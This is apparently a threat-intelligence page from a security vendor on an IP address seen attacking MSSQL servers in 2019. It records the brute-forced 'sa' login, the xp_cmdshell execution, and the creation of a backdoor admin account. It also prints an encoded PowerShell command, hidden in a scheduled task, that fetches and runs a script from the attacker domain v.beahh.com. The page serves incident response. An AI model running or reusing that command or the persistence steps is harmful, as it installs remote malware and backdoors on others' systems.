IP Address: 111.53.153.174Previously Malicious

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IP Address:
111.53.153.174​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

MSSQL DNS Query Successful MSSQL Login Listening Scheduled Task Creation MSSQL Brute Force User Created Access Suspicious Domain IDS - Attempted User Privilege Gain Execute MsSql Shell Command User Added to Group PowerShell CMD

Connect Back Servers

v.beahh.com

Basic Information

IP Address

111.53.153.174

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-03-30

Last seen in Guardicore Centra

2019-03-30

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** and added to groups: Administrators

User Created User Added to Group

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process netsvcs Service Group started listening on ports: 65533

Listening

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

Access Suspicious Domain DNS Query

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Connection was closed due to timeout

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IP Address: 111.53.153.174​Previously Malicious